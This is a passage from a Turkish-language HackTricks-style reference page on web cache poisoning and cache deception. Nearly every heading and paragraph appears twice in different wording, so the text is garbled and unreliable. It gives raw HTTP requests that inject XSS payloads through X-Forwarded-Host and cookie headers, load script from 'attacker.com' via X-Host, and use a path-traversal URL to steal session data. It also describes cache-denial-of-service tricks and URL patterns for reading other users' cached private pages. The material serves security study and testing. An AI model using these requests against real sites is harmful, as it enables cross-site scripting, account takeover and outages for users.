Basit bir XSS yükü gönderebilir ve önbelleği zehirleyebilirsiniz, böylece sayfaya erişen herkes XSS saldırısına uğrayacaktır:
Temel bir XSS yükü gönderebilir ve önbelleği zehirleyebilirsiniz, böylece sayfaya erişen herkes XSS olacaktır:
```markup
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_Not: Bu, `/en` yerine `/en?region=uk` isteğini zehirleyecektir._
### Web önbellek zehirlenmesini kullanarak çerez işleme açıklarını sömürme
### Çerez işleme açıklarını sömürmek için web önbellek zehirleme kullanma
Çerezler aynı zamanda bir sayfanın yanıtında da yansıtılabilir. Örneğin, bir XSS'e neden olmak için bunu istismar edebilirseniz, kötü amaçlı önbellek yanıtını yükleyen birkaç istemciyi XSS'i sömürme yeteneğine sahip olabilirsiniz.
Çerezler ayrıca bir sayfanın yanıtında da yansıtılabilir. Örneğin bir XSS oluşturmak için bunu istismar edebilirseniz, kötü niyetli önbellek yanıtını yükleyen birkaç istemcide XSS'i sömürebilirsiniz.
```markup
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
Not: Eğer savunmasız çerez kullanıcılar tarafından çok kullanılıyorsa, düzenli istekler önbelleği temizleyecektir.
### API anahtarını çalmak için yol gezinme ile önbellek zehirlenmesi <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**Bu yazıda açıklandığı gibi**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html), `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` gibi bir URL ile bir OpenAI API anahtarının çalınabilmesinin mümkün olduğu çünkü `/share/*` ile eşleşen her şey, URL normalleştirilmeden önbelleğe alınacaktır, bu da isteğin web sunucusuna ulaştığında yapıldı.
### Web önbellek zehirlenmesi açıklarını sömürmek için birden fazla başlık kullanma <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Bazen bir önbelleği istismar etmek için birden fazla anahtarlanmamış girişi sömürmeniz gerekebilir. Örneğin, `X-Forwarded-Host`'u sizin kontrolünüzde olan bir alan adına ve `X-Forwarded-Scheme`'i `http` olarak ayarlarsanız, bir **Açık yönlendirme** bulabilirsiniz. **Eğer** sunucu **tüm** **HTTP** isteklerini **HTTPS'ye yönlendiriyorsa** ve yönlendirme için alan adı olarak `X-Forwarded-Scheme` başlığını kullanıyorsa. Yönlendirmenin nereye yapıldığını kontrol edebilirsiniz.
Bazen bir önbelleği kötüye kullanabilmek için **birkaç anahtarsız girişi sömürmeniz gerekebilir**. Örneğin, `X-Forwarded-Host`'u sizin kontrol ettiğiniz bir alan adına ve `X-Forwarded-Scheme`'i `http` olarak ayarlarsanız, bir **Açık yönlendirme** bulabilirsiniz. **Sunucu** tüm **HTTP** isteklerini **HTTPS'ye yönlendiriyorsa** ve yönlendirme için alan adı olarak `X-Forwarded-Scheme` başlığını kullanıyorsa, yönlendirmenin nereye yapıldığını kontrol edebilirsiniz.
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### Sınırlı `Vary` başlığıyla istismar etmek
### Sınırlı `Vary` başlığı ile Sömürme
Eğer **`X-Host`** başlığının, bir JS kaynağını yüklemek için **alan adı olarak kullanıldığını** ve yanıtta bulunan **`Vary`** başlığının **`User-Agent`** olduğunu tespit ettiyseniz. O zaman, kurbanın User-Agent'ını dışarı çıkarmak ve bu kullanıcı ajanını kullanarak önbelleği zehirlemek için bir yol bulmanız gerekmektedir:
Eğer yanıtta **`User-Agent`**'ı gösteren **`Vary`** başlığı kullanılıyorsa ancak **`X-Host`** başlığının bir JS kaynağını yüklemek için **alan adı** olarak kullanıldığını tespit ettiyseniz, kurbanın User-Agent'ını dışarıya çıkarmak ve bu kullanıcı ajanını kullanarak önbelleği zehirlemek için bir yol bulmanız gerekecektir:
```markup
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
```
### HTTP İstek Smuggling'i Kullanarak HTTP Önbellek Zehirlenmesi Saldırılarını Sömürme
### HTTP İsteği Kaçırarak HTTP Önbellek Zehirlenmesini Sömürme
[HTTP İstek Smuggling'i kullanarak web önbellek zehirlenmesi](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning) saldırılarını nasıl gerçekleştireceğinizi buradan öğrenin.
[HTTP İsteği Kaçırarak Web Önbellek Zehirlenmesi Yapmak](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning) için nasıl saldırı yapılacağını öğrenin.
### Web Önbellek Zehirlenmesi için Otomatik Test
### Web Önbellek Zehirlenmesi için Otomatik Testler
[Web Önbellek Zafiyet Tarayıcısı](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner), web önbellek zehirlenmesi için otomatik test yapmak için kullanılabilir. Birçok farklı teknik destekler ve yüksek özelleştirilebilir.
[Web Önbellek Zafiyet Tarayıcısı](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) web önbellek zehirlenmesi için otomatik testler yapmak için kullanılabilir. Birçok farklı teknik destekler ve yüksek derecede özelleştirilebilir.
Örnek kullanım: `wcvs -u example.com`
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını** kolayca oluşturmak ve otomatikleştirmek için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Zafiyetli Örnekler
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
### Apache Trafik Sunucusu ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS, URL içindeki parçayı silmeden yönlendirdi ve önbellek anahtarını yalnızca ana bilgisayar, yol ve sorgu kullanarak oluşturdu (parçayı görmezden geldi). Bu nedenle, `/#/../?r=javascript:alert(1)` isteği `/#/../?r=javascript:alert(1)` olarak arka uca gönderildi ve önbellek anahtarı içinde yalnızca ana bilgisayar, yol ve sorgu bulunuyordu.
ATS URL içindeki parçayı silmeden iletmiş ve önbellek anahtarını sadece ana bilgisayar, yol ve sorgu kullanarak oluşturmuş (parçayı yok sayarak). Bu nedenle, `/#/../?r=javascript:alert(1)` isteği backend'e `/#/../?r=javascript:alert(1)` olarak gönderildi ve önbellek anahtarı içinde yük yoktu, sadece ana bilgisayar, yol ve sorgu vardı.
### GitHub CP-DoS
İçerik türü başlığında yanlış bir değer göndermek, önbelleğe alınmış bir 405 yanıtını tetikledi. Önbellek anahtarı çerez içerdiği için yalnızca yetkisiz kullanıcılara saldırı yapmak mümkündü.
İçerik türü başlığında kötü bir değer göndermek 405 önbelleğe alınmış yanıtı tetikledi. Önbellek anahtarı çerez içerdiği için yalnızca kimlik doğrulama yapılmamış kullanıcılara saldırı yapmak mümkündü.
### GitLab + GCP CP-DoS
GitLab, statik içeriği depolamak için GCP kovalarını kullanır. **GCP Kovaları**, **`x-http-method-override`** başlığını destekler. Bu nedenle, `x-http-method-override: HEAD` başlığı göndermek ve önbelleği zehirlemek için boş bir yanıt gövdesi döndürmek mümkündü. Ayrıca `PURGE` yöntemini de destekleyebilir.
GitLab, statik içeriği depolamak için GCP kovalarını kullanır. **GCP Kovaları** **`x-http-method-override`** başlığını destekler. Bu nedenle, `x-http-method-override: HEAD` başlığını göndermek ve önbelleği boş bir yanıt gövdesi döndürmek mümkündü. Ayrıca `PURGE` yöntemini de destekleyebilir.
### Rack Middleware (Ruby on Rails)
### Rack Ara Yazılımı (Ruby on Rails)
Ruby on Rails uygulamalarında genellikle Rack ara yazılımı kullanılır. Rack kodunun amacı, **`x-forwarded-scheme`** başlığının değerini almak ve isteğin şeması olarak ayarlamaktır. `x-forwarded-scheme: http` başlığı gönderildiğinde, aynı konuma bir 301 yönlendirmesi gerçekleşir ve bu, kaynak üzerinde bir Hizmet Reddi (DoS) oluşturabilir. Ayrıca, uygulama `X-forwarded-host` başlığını kabul edebilir ve kullanıcıları belirtilen ana bilgisayara yönlendirebilir. Bu davranış, saldırganın sunucusundan JavaScript dosyalarının yüklenmesine ve güvenlik riski oluşturmasına neden olabilir.
Ruby on Rails uygulamalarında genellikle Rack ara yazılımı kullanılır. Rack kodunun amacı, **`x-forwarded-scheme`** başlığının değerini almak ve isteğin şeması olarak ayarlamaktır. `x-forwarded-scheme: http` başlığı gönderildiğinde, aynı konuma yönlendirilen bir 301 yönlendirmesi oluşur, bu da potansiyel olarak bir hizmet Reddi (DoS) oluşturabilir. Ayrıca, uygulama `X-forwarded-host` başlığını kabul edebilir ve kullanıcıları belirtilen ana bilgisayara yönlendirebilir. Bu davranış, saldırganın sunucusundan JavaScript dosyalarını yüklemesine neden olabilir ve güvenlik riski oluşturabilir.
### 403 ve Depolama Kovaları
Cloudflare önceden 403 yanıtlarını önbelleğe alıyordu. Yanlış Yetkilendirme başlıklarıyla S3 veya Azure Depolama Kovalarına erişmeye çalışmak, önbelleğe alınan bir 403 yanıtına neden olurdu. Cloudflare 403 yanıtlarını önbelleğe almamayı durdurmuş olsa da, bu davranış başka proxy hizmetlerinde hala mevcut olabilir.
Cloudflare önceden 403 yanıtlarını önbelleğe alıyordu. Yanlış Yetkilendirme başlıkları ile S3 veya Azure Depolama Bloklarına erişmeye çalışmak, önbelleğe alınan bir 403 yanıtına neden olurdu. Cloudflare 403 yanıtlarını önbelleğe almaktan vazgeçmiş olsa da, bu davranış diğer proxy hizmetlerinde hala mevcut olabilir.
### Anahtar Parametreleri Enjekte Etme
### Anahtarlı Parametreler Enjekte Etme
Önbellekler genellikle özel GET parametrelerini önbellek anahtarına dahil eder. Örneğin, Fastly'nin Varnish'i isteklerde `size` parametresini önbelleğe alır. Ancak, hatalı bir değerle birlikte URL kodlanmış bir sürümü (örneğin, `siz%65`) gönderildiğinde, önbellek anahtarı doğru `size` parametresini kullanarak oluşturulur. Ancak, arka uç, URL kodlu parametrenin değerini işler. İkinci `size` parametresini URL kodlamak, önbellek tarafından atlanmasına ve arka uç tarafından kullanılmasına neden olur. Bu parametreye 0 değeri atamak, önbelleğe alınabilir bir 400 Hatalı İstek hatası elde edilmesine neden olur.
Önbellekler genellikle özel GET parametrelerini önbellek anahtarına dahil eder. Örneğin, Fastly'nin Varnish'i isteklerde `size` parametresini önbelleğe alırdı. Ancak, URL kodlanmış bir sürümü (örneğin, `siz%65`) yanlış bir değerle gönderildiğinde, önbellek anahtarı doğru `size` parametresini kullanarak oluşturulurdu. Ancak, backend URL kodlanmış parametreyi işlerdi. İkinci `size` parametresini URL kodlamak, önbellek tarafından atlanmasına ancak backend tarafından kullanılmasına neden olurdu. Bu parametreye 0 değeri atamak, önbelleğe alınabilir 400 Kötü İstek hatası oluştururdu.
### Kullanıcı Aracı Kuralları
### Kullanıcı Ajanı Kuralları
Bazı geliştiriciler, FFUF veya Nuclei gibi yüksek trafikli araçların kullanıcı araçlarıyla eşleşen istekleri engeller. İlginç bir şekilde, bu yaklaşım önbellek zehirlenmesi ve DoS gibi zafiyetlere neden olabilir.
Bazı geliştiriciler, sunucu yükünü yönetmek için FFUF veya Nuclei gibi yüksek trafikli araçların kullanıcı ajanlarıyla eşleşen istekleri engeller. İronik bir şekilde, bu yaklaşım önbellek zehirlenmesi ve DoS gibi zafiyetlere neden olabilir.
### Yasadışı Başlık Alanları
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230), başlık adlarında kabul edilebilir karakterleri belirtir. Belirtilen **tchar** aralığı dışındaki karakterler içeren başlıklar, ideal olarak 400 Hatalı İstek yanıtını tetiklemelidir. Uygulamada sunucular her zaman bu standarta uymaz. Önemli bir örnek, geçersiz karakterler içeren başlıkları ileten ve `cache-control` başlığı bulunmadığı sürece herhangi bir 400 hatasını önbelleğe alan Akamai'dir. `\` gibi geçersiz bir karakter içeren bir başlık göndermenin, önbelleğe alınabilir bir 400 Hatalı İstek hatası elde edilmesine neden olduğu bir sömürülebilir desen belirlendi.
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) başlık adlarında kabul edilebilir karakterleri belirtir. Belirtilen **tchar** aralığının dışındaki karakterleri içeren başlıklar ideal olarak 400 Kötü İstek yanıtını tetiklemelidir. Uygulamada sunucular her zaman bu standarta uymazlar. Akamai gibi belirgin bir örnek, geçersiz karakterler içeren başlıkları iletir ve `cache-control` başlığı mevcut olmadığı sürece herhangi bir 400 hatasını önbelleğe alır. Geçersiz bir karakter içeren bir başlık göndermenin, örneğin `\`, önbelleğe alınabilir 400 Kötü İstek hatasına neden olabileceği bir açık model belirlendi.
### Yeni Başlıklar Bulma
### Yeni başlıklar bulma
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## Önbellek Aldatma
## Önbellek Aldatmacası
Önbellek Aldatma'nın amacı, istemcilerin **duyarlı bilgileriyle birlikte önbelleğe kaydedilecek kaynakları yüklemesini sağlamaktır**.
Önbellek Aldatmacasının amacı, istemcilerin **duyarlı bilgileriyle birlikte önbelleğe kaydedilecek kaynakları yüklemesini sağlamaktır**.
Öncelikle, `.css`, `.js`, `.png` gibi **uzantıların** genellikle **önbelleğe kaydedilmesi** için **yapılandırıldığını** unutmayın. Bu nedenle, `www.example.com/profile.php/nonexistent.js`'ye erişirseniz, önbellek muhtemelen yanıtı kaydedecektir çünkü `.js` **uzantısını** görür. Ancak, **uygulama**, _www.example.com/profile.php_ içinde depolanan **duyarlı** kullanıcı içeriğiyle yeniden oynatıyorsa, bu içeriği diğer kullanıcılardan **çalabilirsiniz**.
Öncelikle **.css**, **.js**, **.png** gibi **uzantıların** genellikle **önbelleğe kaydedilmesi** için **ayarlandığını** unutmayın. Bu nedenle, `www.example.com/profile.php/nonexistent.js`'e erişirseniz, önbellek muhtemelen yanıtı saklayacaktır çünkü **.js** uzantısını görür. Ancak, **uygulama** _www.example.com/profile.php_'de saklanan **duyarlı** kullanıcı içeriğiyle **yeniden oynuyorsa**, diğer kullanıcılardan bu içerikleri **çalabilirsiniz**.
Test edilecek diğer şey
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
Test edilecek diğer şeyler:
* _www.example.com/profile.php/.js_
* _www.example.com/profile.php/.css_
* _www.example.com/profile.php/test.js_
* _www.example.com/profile.php/../test.js_
* _www.example.com/profile.php/%2e%2e/test.js_
* _`.avif` gibi daha az bilinen uzantıları kullanın_
Bu konuda çok net bir örnek şu yazıda bulunabilir: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
Örnekte, _http://www.example.com/home.php/non-existent.css_ gibi mevcut olmayan bir sayfa yüklerseniz, önceki kullanıcıların **duyarlı bilgileriyle** _http://www.example.com/home.php_ içeriği döndürülecek ve önbellek sunucusu sonucu kaydedecektir.\
Ardından, **saldırgan** kendi tarayıcısında _http://www.example.com/home.php/non-existent.css_'e erişebilir ve önceki kullanıcıların **gizli bilgilerini** gözlemleyebilir.
Önbellek **proxy**'sinin dosyaları **içerik türüne** göre değil, dosya uzantısına göre önbelleğe alacak şekilde **ayarlanmış** olması gerektiğini unutmayın (_.css_). Örneğin _http://www.example.com/home.php/non-existent.css_ önbelleğe alınacak bir `text/css` mime türü yerine `text/html` içerik türüne sahip olacaktır (ki bu bir _.css_ dosyası için beklenen budur).
[HTTP İsteği Kaçırarak Web Önbellek Aldatmacaları Saldırıları Yapmayı](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception) öğrenin.
## Referanslar
* [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
* [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
* [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)
* [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
* [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
* [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
</details>
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek hackleme hilelerinizi paylaşın.